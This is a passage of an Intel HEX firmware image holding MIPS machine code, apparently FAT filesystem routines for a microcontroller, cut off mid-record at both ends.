441000324bb\n:10acd000370043a000a0023c000442245400032497\n:10ace000380043a000a0023c0004422431000324a9\n:10acf000390043a000a0023c0004422420000324a9\n:10ad00003b0043a000a0023c000442242000032496\n:10ad10003c0043a000a0023c000442242000032485\n:10ad20003d0043a0ae2c400b0000000000a0023c00\n:10ad300000044224200003240e0043a000a0023c93\n:10ad4000000442240f0040a02400c28f0700438863\n:10ad500021306000040046982110c00020004324e8\n:10ad60002400c28f0b0043a8080043b800a0023c97\n:10ad70000004422402000324100043a000a0023c6f\n:10ad800000044224110040a000a0023c0004422420\n:10ad9000120040a000a0023c00044224130040a086\n:10ada00000a0023c00044224140040a000a0023c89\n:10adb00000044224f8ff0324150043a000a0023c35\n:10adc00000044224160040a000a0023c00044224db\n:10add000170040a000a0023c000442243f000324ce\n:10ade000180043a000a0023c00044224190040a027\n:10adf00000a0023c00044224ffff03241a0043a0e9\n:10ae000000a0023c000442241b0040a02400c28f8a\n:10ae1000070043882120600004004498211080002e\n:10ae2000ff00433000a0023c000442241c0043a069\n:10ae30002400c28f07004388212860000400459841\n:10ae40002110a00002120200ff00433000a0023ccb\n:10ae5000000442241d0043a02400c28f0700438841\n:10ae600021306000040046982110c0000214020046\n:10ae7000ff00433000a0023c000442241e0043a017\n:10ae80002400c28f070043882120600004004498fa\n:10ae90002110800002160200ff00433000a0023c97\n:10aea000000442241f0043a03000c28fff00433043\n:10aeb00000a0023c00044224200043a03000c28fc6\n:10aec00002120200ff00433000a0023c00044224b2\n:10aed000210043a03000c28f02140200ff00433063\n:10aee00000a0023c00044224220043a03000c28f94\n:10aef00002160200ff00433000a0023c000442247e\n:10af0000230043a01c00c28fff00433000a0023c7e\n:10af100000044224240043a01c00c28f021202003d\n:10af2000ff00433000a0023c00044224250043a05f\n:10af30001c00c28f02140200ff00433000a0023c3c\n:10af400000044224260043a01c00c28f0216020007\n:10af5000ff00433000a0023c00044224270043a02d\n:10af600000a0023c00044224280040a000a0023cb3\n:10af700000044224290040a000a0023c0004422416\n:10af80002a0040a000a0023c000442242b0040a064\n:10af900000a0023c00044224020003242c0043a031\n:10afa00000a0023c000442242d0040a000a0023c6e\n:10afb000000442242e0040a000a0023c00044224d1\n:10afc0002f0040a000a0023c000442240100032402\n:10afd000300043a000a0023c00044224310040a005\n:10afe00000a0023c00044224320040a000a0023c29\n:10aff00000044224330040a000a0023c000442248c\n:10b00000340040a000a0023c00044224350040a0cf\n:10b0100000a0023c00044224360040a000a0023cf4\n:10b0200000044224370040a000a0023c0004422457\n:10b03000380040a000a0023c00044224390040a097\n:10b0400000a0023c000442243a0040a000a0023cc0\n:10b05000000442243b0040a000a0023c0004422423\n:10b060003c0040a000a0023c000442243d0040a05f\n:10b0700000a0023c000442243e0040a000a0023c8c\n:10b08000000442243f0040a000a0023c00044224ef\n:10b09000400040a000a0023c00044224410040a027\n:10b0a00000a0023c0004422429000324420043a0e3\n:10b0b0007400c28fff00433000a0023c0004422411\n:10b0c000430043a07400c28fff00432400004428c3\n:10b0d0000b10640003120200ff00433000a0023c8a\n:10b0e00000044224440043a07400c28fffff0334d5\n:10b0f00021184300000044280b10640003140200d0\n:10b10000ff00433000a0023c00044224450043a05d\n:10b110007400c28fff00033cffff6334211843001b\n:10b12000000044280b10640003160200ff004330a7\n:10b1300000a0023c00044224460043a07800c28fd5\n:10b140002d004010000000002000c0af632c400b19\n:10b15000000000002000c28f470044247800c38f05\n:10b160002000c28f2110620000004280ff004330a7\n:10b1700000a0023c0004422421108200000043a0f1\n:10b180002000c28f010042242000c2af7800c38f8c\n:10b190002000c28f21106200000042800500401094\n:10b1a000000000002000c28f0b00422ce9ff401479\n:10b1b00000000000782c400b000000002000c28f2f\n:10b1c000010043242000c3af4700432400a0023cf9\n:10b1d000000442242110620020000324000043a048\n:10b1e0002000c28f0b00422cf4ff4014000000002e\n:10b1f0008e2c400b000000002000c0af8a2c400bba\n:10b20000000000002000c28f4700432400a0023c41\n:10b210000004422421106200000040a02000c28fe0\n:10b22000010042242000c2af2000c28f0b00422c3c\n:10b23000f4ff40140000000000a0023c000442247f\n:10b2400046000324520043a000a0023c0004422414\n:10b2500041000324530043a000a0023c0004422408\n:10b2600054000324540043a000a0023c00044224e4\n:10b2700033000324550043a000a0023c00044224f4\n:10b2800032000324560043a000a0023c00044224e4\n:10b2900020000324570043a000a0023c00044224e5\n:10b2a00020000324580043a000a0023c00044224d4\n:10b2b00020000324590043a000a0023c00044224c3\n:10b2c00055000324fe0143a000a0023c00044224d8\n:10b2d000aaff0324ff0143a02400c28f0b00438870\n:10b2e000080043982400c28f220042902120400091\n:10b2f0002400c28f210045882130a0001e004698fe\n:10b300002110c000180082001210000021186200f5\n:10b310002400c28f0f0043a80c0043b82400c28f42\n:10b320000700438821206000040044982110800019\n:10b330002120400000a0023c0004452421300000f0\n:10b34000b6d8400f000000000600401400000000c6\n:10b3500009000224388182a3ffff0224122f400b30\n:10b3600000000000ec2c400b000000002400c48f03\n:10b370000e25400f000000000600401000000000f5\n:10b380001b000224388182a3ffff0224122f400bee\n:10b3900000000000ec2c400b000000001f00022405\n:10b3a000388182a3ffff0224122f400b000000000f\n:10b3b00000a0023c000444242128000000020624ce\n:10b3c0006551410f000000002400c28f240043900b\n:10b3d000030002240e0162140000000000a0023ce1\n:10b3e000f8ff0324000443a000a0023c0004422410\n:10b3f000ffff0324010043a000a0023c00044224fc\n:10b40000ffff0324020043a000a0023c00044224ea\n:10b41000ffff0324030043a000a0023c00044224d9\n:10b42000040040a000a0023c00044224050040a00b\n:10b4300000a0023c00044224060040a000a0023c00\n:10b44000000442240c000324070043a000a0023c97\n:10b4500000044224ffff0324080043a000a0023c94\n:10b4600000044224ffff0324090043a000a0023c83\n:10b4700000044224ffff03240a0043a000a0023c72\n:10b4800000044224ffff03240b0043a02400c28fca\n:10b4900022004290ffff42241800c2a7432d400b18\n:10b4a000000000002400c28f0b004388080043986e\n:10b4b0001800c4972400c28f210045882130a000c5\n:10b4c0001e0046982110c0001800820012200000c3\n:10b4d000211064002120400000a0023c000445240b\n:10b4e00021300000b6d8400f0000000004004014d6\n:10b4f00000000000ffff0224122f400b000000009c\n:10b500001800c297ffff42241800c2a71800c39773\n:10b51000ffff0234e3ff62140000000000a0023cc1\n:10b5200000044424212800000c0006246551410f2a\n:10b53000000000002400c28f0b0043882128600017\n:10b54000080045982110a000010042242000c2af4d\n:10b550007b2d400b000000002400c28f220042908f\n:10b56000ffff42241800c2a7742d400b000000000a\n:10b570001800c3972400c28f210044882130800026\n:10b580001e0046982110c000180062002000c28fe3\n:10b5900012180000211062002120400000a0023c8f\n:10b5a0000004452421300000b6d8400f0000000000\n:10b5b0000400401400000000ffff0224122f400b83\n:10b5c000000000001800c297ffff42241800c2a725\n:10b5d0001800c397ffff0234e5ff6214000000006b\n:10b5e0002000c28f010042242000c2af2400c28f7d\n:10b5f0000b004388080043982400c28f2100448830\n:10b60000212880001e0045982110a000211862000a\n:10b610002000c28f2b104300cfff40140000000019\n:10b62000010002242000c2af9f2d400b000000004b\n:10b630002400c28f0f0043880c0043982000c28f63\n:10b64000211062002120400000a0023c000445249b\n:10b6500021300000b6d8400f000000000400401464\n:10b6600000000000ffff0224122f400b000000002a\n:10b670002000c28f010042242000c2af2400c28fec\n:10b6800023004290211840002000c28f2b1043005d\n:10b69000e7ff4014000000007800c28f490040100e\n:10b6a000000000002000c0afb92d400b00000000da\n:10b6b0007800c38f2000c28f2110620000004280fa\n:10b6c000ff00433000a0023c000444242000c28f4d\n:10b6d00021108200000043a02000c28f01004224fc\n:10b6e0002000c2af7800c38f2000c28f21106200fb\n:10b6f0000000428005004010000000002000c28fc2\n:10b700000b00422ceaff401400000000cd2d400b3e\n:10b71000000000002000c28f010043242000c3afbe\n:10b7200000a0033c000463242110430020000324f4\n:10b73000000043a02000c28f0b00422cf5ff4014f4\n:10b740000000000000a0023c000442240800032482\n:10b750000b0043a000a0023c00044224110003247b\n:10b76000110043a000a0023c000442241100032465\n:10b77000130043a000a0023c000442241100032453\n:10b78000170043a02400c28f0f00438821306000bf\n:10b790000c0046982110c0002120400000a0023c6f\n:10b7a0000004452421300000b6d8400f00000000fe\n:10b7b0001400401400000000ffff0224122f400b71\n:10b7c000000000002400c28f0f0043882120600089\n:10b7d0000c004498211080002120400000a0023c71\n:10b7e0000004452421300000b6d8400f00000000be\n:10b7f0000400401400000000ffff0224122f400b41\n:10b800000000000021100000122f400b000000007b\n:10b8100000a0023cf8ff0324000443a000a0023c67\n:10b8200000044224ffff0324010043a000a0023cc7\n:10b8300000044224ffff0324020043a02400c28f1f\n:10b84000240043900200022405006214000000005e\n:10b8500000a0023c00044224ffff0324030043a095\n:10b860002400c28f22004290ffff42241800c2a78a\n:10b87000382e400b000000002400c28f0b004388cc\n:10b88000080043981800c4972400c28f21004588ff\n:10b890002130a0001e0046982110c0001800820030\n:10b8a00012200000211064002120400000a0023c72\n:10b8b0000004452421300000b6d8400f00000000ed\n:10b8c0000400401400000000ffff0224122f400b70\n:10b8d000000000001800c297ffff42241800c2a712\n:10b8e0001800c397ffff0234e3ff6214000000005a\n:10b8f00000a0023c00044424212800000400062487\n:10b900006551410f000000002400c28f0b004388e6\n:10b9100021286000080045982110a0000100422461\n:10b920002000c2af702e400b000000002400c28f28\n:10b9300022004290ffff42241800c2a7692e400b4c\n:10b94000000000001800c3972400c28f2100448823\n:10b95000213080001e0046982110c00018006200af\n:10b960002000c28f12180000211062002120400028\n:10b9700000a0023c0004452421300000b6d8400f4e\n:10b98000000000000400401400000000ffff02243b\n:10b99000122f400b000000001800c297ffff422446\n:10b9a0001800c2a71800c397ffff0234e5ff621416\n:10b9b000000000002000c28f010042242000c2af1e\n:10b9c0002400c28f0b004388080043982400c28fd4\n:10b9d00021004488212880001e0045982110a000e5\n:10b9e000211862002000c28f2b104300cfff4014ab\n:10b9f000000000002400c28f000203241d0043a8a1\n:10ba00001a0043b82400c28f1400439015004290de\n:10ba10000012020025104300ffff423040110200d7\n:10ba2000211840002400c28f1d004488213080006e\n:10ba30001a0046982110c00021106200ffff432425\n:10ba40002400c28f1d004488212880001a004598d8\n:10ba50002110a0001b006200f40140001010000043\n:10ba6000123000003800c6af010002242000c2af2f\n:10ba7000b12e400b000000002400c28f0f0043884d\n:10ba80000c0043982000c28f21106200212040004a\n:10ba900000a0023c0004452421300000b6d8400f2d\n:10baa000000000000400401400000000ffff02241a\n:10bab000122f400b000000002000c28f0100422422\n:10bac0002000c2af2000c38f3800c28f2b1062004d\n:10bad000e9ff4014000000007800c28f49004010c8\n:10bae000000000002000c0afc92e400b0000000085\n:10baf0007800c38f2000c28f2110620000004280b6\n:10bb0000ff00433000a0023c000444242000c28f08\n:10bb100021108200000043a02000c28f01004224b7\n:10bb20002000c2af7800c38f2000c28f21106200b6\n:10bb30000000428005004010000000002000c28f7d\n:10bb40000b00422ceaff401400000000dd2e400be9\n:10bb5000000000002000c28f010043242000c3af7a\n:10bb600000a0033c000463242110430020000324b0\n:10bb7000000043a02000c28f0b00422cf5ff4014b0\n:10bb80000000000000a0023c00044224080003243e\n:10bb90000b0043a000a0023c000442241100032437\n:10bba000110043a000a0023c000442241100032421\n:10bbb000130043a000a0023c00044224110003240f\n:10bbc000170043a02400c28f0f004388212060008b\n:10bbd0000c004498211080002120400000a0023c6d\n:10bbe0000004452421300000b6d8400f00000000ba\n:10bbf0001400401400000000ffff0224122f400b2d\n:10bc0000000000002400c28f0f004388212860003c\n:10bc10000c0045982110a0002120400000a0023c0b\n:10bc20000004452421300000b6d8400f0000000079\n:10bc30000400401400000000ffff0224122f400bfc\n:10bc4000000000002110000021e8c0036c00bf8f3d\n:10bc50006800be8f7000bd270800e00300000000f0\n:10bc6000d8ffbd272400bfaf2000beaf21f0a00346\n:10bc70002800c4af2c00c5af2800c28f0000428c42\n:10bc80001400c2af2800c28f4000428c1800c2af1f\n:10bc90002c00c28f00004294211840001400c28f73\n:10bca0001d004488212880001a0045982110a0001a\n:10bcb000421102001b006200f4014000101000005d\n:10bcc000121000001100c2a31400c28f2400429081\n:10bcd000010043281e0060140000000003004328f8\n:10bce0000d0060140000000003000324180043143a\n:10bcf000000000001400c28f230042901100c39383\n:10bd00001b006200f4014000101000001100c2a3eb\n:10bd1000542f400b000000002881828f1800c38f31\n:10bd20000a006210000000001400c28f230042903d\n:10bd30001100c3931b006200f401400010100000ca\n:10bd40001100c2a3532f400b0000000000000000b0\n:10bd50001400c48f1800c58f6d3f400f0000000015\n:10bd60001c00c2af1100c3931c00c28f21186200d7\n:10bd70001400c28f030044882128800000004598e9\n:10bd80002110a00021206000212840002130000067\n:10bd9000b6d8400f0000000004004014000000006e\n:10bda0001000c0a36d2f400b000000000100022412\n:10bdb0001000c2a31000c29321e8c0032400bf8f6b\n:10bdc0002000be8f2800bd270800e003000000000f\n:10bdd000d8ffbd272400bfaf2000beaf21f0a003d5\n:10bde0002800c4af2c00c5af1800c0af2c00c28f14\n:10bdf00024004290010003240c00431000000000c6\n:10be0000030003240f00431400000000ff0f023c56\n:10be1000ffff42341400c2afff0f023cf8ff423470\n:10be20001000c2af962f400b00000000ffff02344d\n:10be30001400c2aff80f02241000c2af962f400bbf\n:10be400000000000ffff02341400c2aff8ff02340c\n:10be50001000c2af000000002800c28f0500401093\n:10be6000000000002800c38f0100022405006214b6\n:10be700000000000020002241800c2afd32f400bc4\n:10be800000000000d02f400b000000002c00c48fe9\n:10be90002800c58f8f49400f000000001c00c2af72\n:10bea0001c00c38f1400c28f050062140000000044\n:10beb000010002241800c2afd02f400b0000000088\n:10bec0001c00c28f05004010000000001c00c38f42\n:10bed0000100022405006214000000000200022498\n:10bee0001800c2afd02f400b000000001c00c38f11\n:10bef0001000c28f2b1062000300401400000000ed\n:10bf0000020002241800c2af2c00c48f2800c58f85\n:10bf10002130000021380000c64a400f0000000018\n:10bf2000211840001400c28f0300621400000000ba\n:10bf3000010002241800c2af1c00c28f2800c2af4b\n:10bf40001800c28fd1ff4010000000002c00c48fe9\n:10bf5000212800002130000001000724c64a400fbc\n:10bf6000000000001800c38f0200022404006214c5\n:10bf70000000000001000224e12f400b000000003f\n:10bf80002110000021e8c0032400bf8f2000be8fd5\n:10bf90002800bd270800e00300000000c8ffbd27ff\n:10bfa0003400bfaf3000beaf21f0a0033800c4aff3\n:10bfb0003c00c5af2110c0004000c2a33800c28fb2\n:10bfc0000000428c2000c2af3800c28f3c00428c7f\n:10bfd0002400c2af3800c28f4000428c1800c2afac\n:10bfe0002000c28f1d004388212060001a00449861\n:10bff00021108000421102002800c2a33c00c28f21\n:10c0000000004294211840002800c2931a006200e8\n:10c01000f401400010100000121000001c00c2a328\n:10c020002000c28f24004290211840000300022407\n:10c030000d006214000000002000c28f2300429017\n:10c040001c00c3931b006200f401400010100000ac\n:10c050001c00c2a3ff0f023cf8ff42341400c2af21\n:10c060002730400b000000002400c28f0800401061\n:10c07000000000002000c28f230042901c00c393e8\n:10c080001b006200f4014000101000001c00c2a35d\n:10c09000f8ff02341400c2af000000004000c29359\n:10c0a00006004014000000003c00c28f00004294d3\n:10c0b0000f004230a4004014000000001c00c29396\n:10c0c00008004014000000003c00c28f00004394b0\n:10c0d0002800c293ffff42302b1062000400401082\n:10c0e000000000004000c29331004010000000003a\n:10c0f0002400c28f04004014000000001800c0afec\n:10c100006c30400b000000004000c2931200401051\n:10c11000000000003c00c28f000043942800c2933e\n:10c12000ffff44302000c28f23004290180082009d\n:10c1300012280000ffffa2301b006200f401400043\n:10c140001010000012180000ffff62301d00c2a393\n:10c150006930400b00000000010002241d00c2a352\n:10c160006930400b000000002000c48f1800c58f0c\n:10c170008f49400f000000001800c2af1800c38fa5\n:10c180001400c28f2b106200030040140000000056\n:10c190006c30400b000000001d00c293ffff4224e2\n:10c1a0001d00c2a31d00c293efff40140000000059\n:10c1b0001800c38f1400c28f2b1062005b00401068\n:10c1c000000000003800c28f1800c38f400043ac4d\n:10c1d0002000c48f1800c58f6d3f400f0000000085\n:10c1e0002c00c2af2881828f1800c38f1400621404\n:10c1f000000000001c00c3932c00c28f21186200b5\n:10c200002000c28f13004488212880001000459828\n:10c210002110a0002b106200090040140000000053\n:10c220002000c28f24004390030002240400621007\n:10c23000000000001000c0afd030400b0000000034\n:10c240004480829308004010000000003241400ffb\n:10c250000000000004004010000000002110000059\n:10c26000e030400b00000000408080af468080a39b\n:10c270001c00c3932c00c28f211862002000c28fc3\n:10c280000300448821288000000045982110a00068\n:10c29000212060002128400001d6400f000000004e\n:10c2a0002118400001000224040062100000000078\n:10c2b0001000c0afc730400b000000004000c29328\n:10c2c00010004010000000002000c28f03004388cf\n:10c2d000000043983c00c28f00004294212040009f\n:10c2e0002800c2931a008200f401400010100000e0\n:10c2f00040110200211062001000c2afc730400b95\n:10c30000000000002000c28f03004388212060004d\n:10c3100000004498211080001000c2afffff0224eb\n:10c32000088082afd030400b0000000001000224e2\n:10c33000458082a31000c0afdf30400b000000003a\n:10c34000df30400b000000002000c28f0300438854\n:10c35000000043983c00c28f00004294212040001e\n:10c360002800c2931a008200f4014000101000005f\n:10c3700040110200211062001000c2af1000c28ff5\n:10c3800021e8c0033400bf8f3000be8f3800bd27c6\n:10c390000800e00300000000a0ffbd275c00bfaf65\n:10c3a0005800beaf21f0a0036000c4af6400c5af69\n:10c3b0002110c0006c00c7af6800c2a31000c0af5e\n:10c3c0006000c28f3000428c2800c2af01000224fe\n:10c3d0001800c2af388180a36400c28f000040a45f\n:10c3e0006000c48f6400c58fc232400f000000009f\n:10c3f00081014014000000006000c28f34004294ac\n:10c400006a014010000000006000c48fee33400f4e\n:10c410000000000008004014000000001100022489\n:10c42000388182a3110002241000c2af1000c28f15\n:10c430008432400b000000006000c28f20004224c4\n:10c440002400c2af1c00c0a30b0002242000c2a322\n:10c450002d31400b000000001c00c293010042304f\n:10c460000400401000000000800002241e31400b38\n:10c4700000000000211000001c00c39342180300bc\n:10c48000ff00633021104300ff0043302400c28fbf\n:10c49000010044242400c4af00004280ff00423069\n:10c4a000211062001c00c2a32000c283ffff4224af\n:10c4b0002000c2a32000c283e7ff40140000000058\n:10c4c0006000c28f34004294148182a71481849743\n:10c4d000c44e023c4fec42341900820010100000a0\n:10c4e000822802002118a0008010030021184000bb\n:10c4f0008010030023104300211045002310820008\n:10c50000ffff42301e00c2a31e00c2932c00c2a334\n:10c5100014818397c44e023c4fec423419006200f0\n:10c520001010000082100200ffff42301f00c2a363\n:10c530001e00c29305004014000000001481829781\n:10c540000d00422c04004010000000001f00c293a8\n:10c55000010042241f00c2a31f00c29340004234c6\n:10c560001d00c2a31e00c293330040100000000053\n:10c570002000c0a37231400b000000002000c283e5\n:10c58000010043242000c3a3ff004230148183979d\n:10c59000212060001e00c39323188300401803006d\n:10c5a0002800c48f2118830000006394401002000b\n:10c5b0001000c42721108200240043a41e00c2934f\n:10c5c000ffff42241e00c2a31e00c293ebff4014d3\n:10c5d000000000002000c283010043242000c3a308\n:10c5e000ff004230401002001000c32721106200fb\n:10c5f000240040a48831400b000000002000c293ba\n:10c60000401002001000c32721106200ffff032426\n:10c61000240043a42000c283010042242000c2a3be\n:10c620002000c2830d004228f4ff401400000000e7\n:10c63000a731400b000000000d0002242000c2a31f\n:10c64000a431400b000000002000c2930d00032421\n:10c650002310620014818397212060002000c3937f\n:10c6600023188300401803002800c48f211883007a\n:10c6700000006394401002001000c42721108200c3\n:10c68000240043a42000c283ffff42242000c2a351\n:10c690002000c283ecff401c000000003400c227d1\n:10c6a000180042241400c2af6832400b00000000a2\n:10c6b0006000c28f3c00438c6000c28f400043acde\n:10c6c0006000c48f6400c58f01000624e72f400f6f\n:10c6d000000000003000c2af3000c28f04004014e0\n:10c6e000000000001b0002248432400b0000000008\n:10c6f0001d00c293ffff43241d00c3a33000c38f5e\n:10c70000000062a01400c28ffeff43241400c3afd8\n:10c71000000043943000c28f1e0043a41400c28f57\n:10c72000feff43241400c3af000043943000c28fc7\n:10c730001c0043a41400c28ffeff43241400c3afa7\n:10c74000000043943000c28f180043a41400c28f2d\n:10c75000feff43241400c3af000043943000c28f97\n:10c76000160043a41400c28ffeff43241400c3af7d\n:10c77000000043943000c28f140043a41400c28f01\n:10c78000feff43241400c3af000043943000c28f67\n:10c79000120043a41400c28ffeff43241400c3af51\n:10c7a000000043943000c28f100043a41400c28fd5\n:10c7b000feff43241400c3af000043943000c28f37\n:10c7c0000e0043a41400c28ffeff43241400c3af25\n:10c7d000000042945000c2a75100c3933000c28fa2\n:10c7e0000a0043a05000c3933000c28f090043a049\n:10c7f0001400c28ffeff43241400c3af0000429414\n:10c800005000c2a75100c3933000c28f080043a05c\n:10c810005000c3933000c28f070043a01400c28fa2\n:10c82000feff43241400c3af000042945000c2a78f\n:10c830005100c3933000c28f060043a05000c39341\n:10c840003000c28f050043a01400c28ffeff4324b6\n:10c850001400c3af000042945000c2a75100c3931c\n:10c860003000c28f040043a05000c3933000c28f39\n:10c87000030043a01400c28ffeff43241400c3af83\n:10c88000000042945000c2a75100c3933000c28ff1\n:10c89000020043a05000c3933000c28f010043a0a8\n:10c8a0003000c28f0f0003240b0043a03000c28f62\n:10c8b0000c0040a03000c28f1c00c3930d0043a0a9\n:10c8c0003000c28f1a0040a46000c48f6400c58f7e\n:10c8d000182f400f00000000211840000100022422\n:10c8e0000300621000000000090002241000c2af23\n:10c8f0001d00c393bfff0224241062001d00c2a3c9\n:10c900006400c28f0000429401004224ffff4330c4\n:10c910006400c28f000043a41f00c293ffff4224a3\n:10c920001f00c2a31800c28f1d00401000000000ad\n:10c930002c00c2930f004010000000006000c28f66\n:10c940003000438c14818297212040002c00c29338\n:10c9500023208200ff7f023cffff4234211082002f\n:10c9600040100200211062001400c2af6732400b79\n:10c97000000000006000c28f3000438c1481829759\n:10c9800021204000ff7f023cf2ff42342110820050\n:10c9900040100200211062001400c2af1800c0afa6\n:10c9a0001f00c29342ff4014000000006800c293c1\n:10c9b0006000c48f6400c58f213040007f33400f7a\n:10c9c000000000001000c2af1000c28f0c00401425\n:10c9d000000000006c00c28f090040100000000041\n:10c9e0006000c48f8a32400f000000001000c2af08\n:10c9f0008032400b00000000140002241000c2af7f\n:10ca00001000c28fff004230388182a31000c28f15\n:10ca100021e8c0035c00bf8f5800be8f6000bd27b7\n:10ca20000800e00300000000d0ffbd272c00bfafce\n:10ca30002800beaf21f0a0033000c4af3000c28f89\n:10ca4000360042942000c2a71c00c2273000c48fc9\n:10ca500021284000633e400f000000001000c2afdc\n:10ca60001000c28f21004014000000002000c227e7\n:10ca70003000c48f212840009139400f0000000091\n:10ca80001400c2af1c00c28fffff43301400c28fde\n:10ca90001a0043a41c00c38fff0f023c2410620045\n:10caa0001800c2af1800c28f021402001800c2aff3\n:10cab0001800c28fffff43301400c28f140043a43c\n:10cac0002000c2273000c48f21284000182f400fbb\n:10cad0000000000021184000010002240300621041\n:10cae00000000000090002241000c2af1000c28f35\n:10caf00021e8c0032c00bf8f2800be8f3000bd2767\n:10cb00000800e00300000000d8ffbd272400bfafed\n:10cb10002000beaf21f0a0032800c4af2c00c5af99\n:10cb2000010002241000c2a31300c0a32c00c28f76\n:10cb3000000042941400c2a72800c28f3c00438c1e\n:10cb40002800c28f400043ac2800c48f2c00c58f42\n:10cb500001000624e72f400f000000001800c2afbc\n:10cb60001800c28f9b004010000000002800c28ff8\n:10cb7000340042942a004010000000002800c28fb8\n:10cb800034004294148182a714818497c44e023cdd\n:10cb90004fec42341900820010100000822802007d\n:10cba0002118a0008010030021184000801003000d\n:10cbb000231043002110450023108200ffff423064\n:10cbc0001300c2a314818397c44e023c4fec42343d\n:10cbd000190062001010000082100200ffff4230b6\n:10cbe0001200c2a31300c29305004014000000000d\n:10cbf000148182970d00422c0400401000000000b8\n:10cc00001200c293010042241200c2a31200c29378\n:10cc1000010042241200c2a37133400b0000000047\n:10cc2000010002241200c2a37133400b0000000077\n:10cc30001100c0a32c00c28f000042941400c2a7b0\n:10cc40002800c48f2c00c58f21300000e72f400f33\n:10cc5000000000001800c2af1800c28f040040108e\n:10cc6000000000001800c28f000042801300c2a321\n:10cc70002c00c28f0000429401004224ffff433089\n:10cc80002c00c28f000043a41800c28f1000401077\n:10cc9000000000001300c393e500022404006210aa\n:10cca000000000001300c2930900401400000000bf\n:10ccb0001100c293010042241100c2a31100c393ca\n:10ccc0001200c2932b106200ddff40140000000030\n:10ccd0001800c28f36004014000000002800c28fe8\n:10cce0004000428c1c00c2af2881828f1c00c38f81\n:10ccf0001d006214000000002800c28f0000428c5a\n:10cd0000240043900300022405006210000000008c\n:10cd1000020002241000c2a37133400b0000000087\n:10cd20002800c28f1c00c38f080043ac2800c48faa\n:10cd3000010005242f37400f00000000211840009b\n:10cd40001500022405006214000000000200022405\n:10cd50001000c2a37133400b000000001000c0a3fc\n:10cd60007133400b000000002800c28f1c00c38fed\n:10cd7000080043ac2800c48f010005242f37400f62\n:10cd80000000000021184000150002240500621474\n:10cd900000000000020002241000c2a37133400b07\n:10cda000000000001000c0a37133400b0000000021\n:10cdb0001100c3931200c29302006214000000002d\n:10cdc0001000c0a31000c3930100022498ff62105a\n:10cdd000000000002c00c28f1400c397000043a481\n:10cde0001000c29321e8c0032400bf8f2000be8f33\n:10cdf0002800bd270800e00300000000e0ffbd2779\n:10ce00001c00bfaf1800beaf21f0a0032000c4afcc\n:10ce10002400c5af2110c0002800c2a31000c0a389\n:10ce20002000c28f3c00438c2000c28f400043ace6\n:10ce30002000c48f2400c58f01000624e72f400f77\n:10ce4000000000001400c2af1400c28f04004014a0\n:10ce5000000000001b000224e833400b000000002b\n:10ce60001400c38f2000c28f2000422421206000c4\n:10ce7000212840000b0006242054410f0000000030\n:10ce80002800c39312000224060062140000000070\n:10ce90001400c28f100003240b0043a0ac33400bde\n:10cea000000000001400c28f200003240b0043a0e8\n:10ceb0001400c28f0c0040a01400c28f140040a4c4\n:10cec0001400c28f1a0040a41400c28f1c0040ac92\n:10ced0006d36400f00000000168183931400c28f4e\n:10cee0000d0043a02c8183971400c28f0e0043a431\n:10cef0003a8183971400c28f100043a43481839732\n:10cf00001400c28f120043a4328183971400c28f91\n:10cf1000160043a4368183971400c28f180043a4df\n:10cf20001400c28f1c00438c2000c28f140043ac3d\n:10cf30001400c28f0e0043942000c28f1c0043a433\n:10cf40001400c28f100043942000c28f1e0043a41f\n:10cf50001400c28f0b004290211840002000c28fa5\n:10cf60003a0043a42400c28f000043942000c28fe3\n:10cf7000360043a42000c48f2400c58f182f400f13\n:10cf8000000000002118400001000224030062108c\n:10cf900000000000090002241000c2a31000c29388\n:10cfa00021e8c0031c00bf8f1800be8f2000bd27e2\n:10cfb0000800e0030000000040ffbd27bc00bfaf39\n:10cfc000b800beaf21f0a003c000c4af1c00c0afca\n:10cfd0002800c22721204000c000c58f403e400fde\n:10cfe000000000002800c227200042242000c2af19\n:10cff0005800c28f2400c2afc000c28f34004294d8\n:10d00000148182a71600c0a70c34400b000000005a\n:10d010001600c2872000c38f211062002000032465\n:10d02000000043a01600c287010042241600c2a7d8\n:10d030001600c2870b004228f5ff401400000000d4\n:10d0400014818297ffff4224ffff42301400c2a7e1\n:10d050002334400b000000001400c287401002007f\n:10d060002400c38f21106200000043942e0002248c\n:10d0700003006214000000002634400b0000000092\n:10d080001400c287ffff42241400c2a71400c28705\n:10d09000f1ff401c000000001400c2970100422470\n:10d0a000ffff42301600c2a71a00c0a31400c287b7\n:10d0b0006900401000000000080002241800c2a708\n:10d0c0008834400b000000001600c28740100200a8\n:10d0d0002400c38f21106200000042941b00c2a3f1\n:10d0e0001b00c2936100422c11004014000000009c\n:10d0f0001b00c2937b00422c0d004010000000007a\n:10d100001800c287010043241800c3a72000c38f62\n:10d11000211062001b00c393e0ff6324ff00633013\n:10d12000201c037c000043a08234400b0000000060\n:10d130001b00c393200002240300621400000000bf\n:10d140008534400b000000001b00c3932b00022419\n:10d150001d006210000000001b00c3932c0002247d\n:10d1600019006210000000001b00c3933b00022462\n:10d1700015006210000000001b00c3933d00022454\n:10d1800011006210000000001b00c3935b0002242a\n:10d190000d006210000000001b00c3935d0002241c\n:10d1a00009006210000000001600c2874010020053\n:10d1b0002400c38f21106200000042940001422c21\n:10d1c0000a004014000000001800c2870100432438\n:10d1d0001800c3a72000c38f211062005f00032442\n:10d1e000000043a08234400b000000001800c287fa\n:10d1f000010043241800c3a72000c38f2110620040\n:10d200001b00c383000043a01a00c2930100422404\n:10d210001a00c2a31600c287010042241600c2a74a\n:10d220001600c387148182972a10620005004010ff\n:10d23000000000001a00c2930300422ca2ff401419\n:10d24000000000001400c2971800c2a71a00c0a373\n:10d250009834400b00000000148182971800c2a788\n:10d260001600c0a7eb34400b000000001600c28778\n:10d27000401002002400c38f21106200000042947d\n:10d280001b00c2a31b00c2936100422c0f0040147c\n:10d29000000000001b00c2937b00422c0b004010da\n:10d2a000000000001a00c2932000c38f211062000a\n:10d2b0001b00c393e0ff6324ff006330201c037c4a\n:10d2c000000043a0e534400b000000001b00c393a6\n:10d2d000200002240300621400000000e834400b28\n:10d2e000000000001b00c3932b0002241d006210ed\n:10d2f000000000001b00c3932c00022419006210e0\n:10d30000000000001b00c3933b00022415006210c4\n:10d31000000000001b00c3933d00022411006210b6\n:10d32000000000001b00c3935b0002240d0062108c\n:10d33000000000001b00c3935d000224090062107e\n:10d34000000000001600c287401002002400c38fb6\n:10d3500021106200000042940001422c0800401499\n:10d36000000000001a00c2932000c38f2110620049\n:10d370005f000324000043a0e534400b00000000e0\n:10d380001a00c2932000c38f211062001b00c383c8\n:10d39000000043a01a00c293010042241a00c2a355\n:10d3a0001600c287010042241600c2a71600c387d8\n:10d3b0001800c2872a10620005004010000000001b\n:10d3c0001a00c2930600422ca8ff4014000000007f\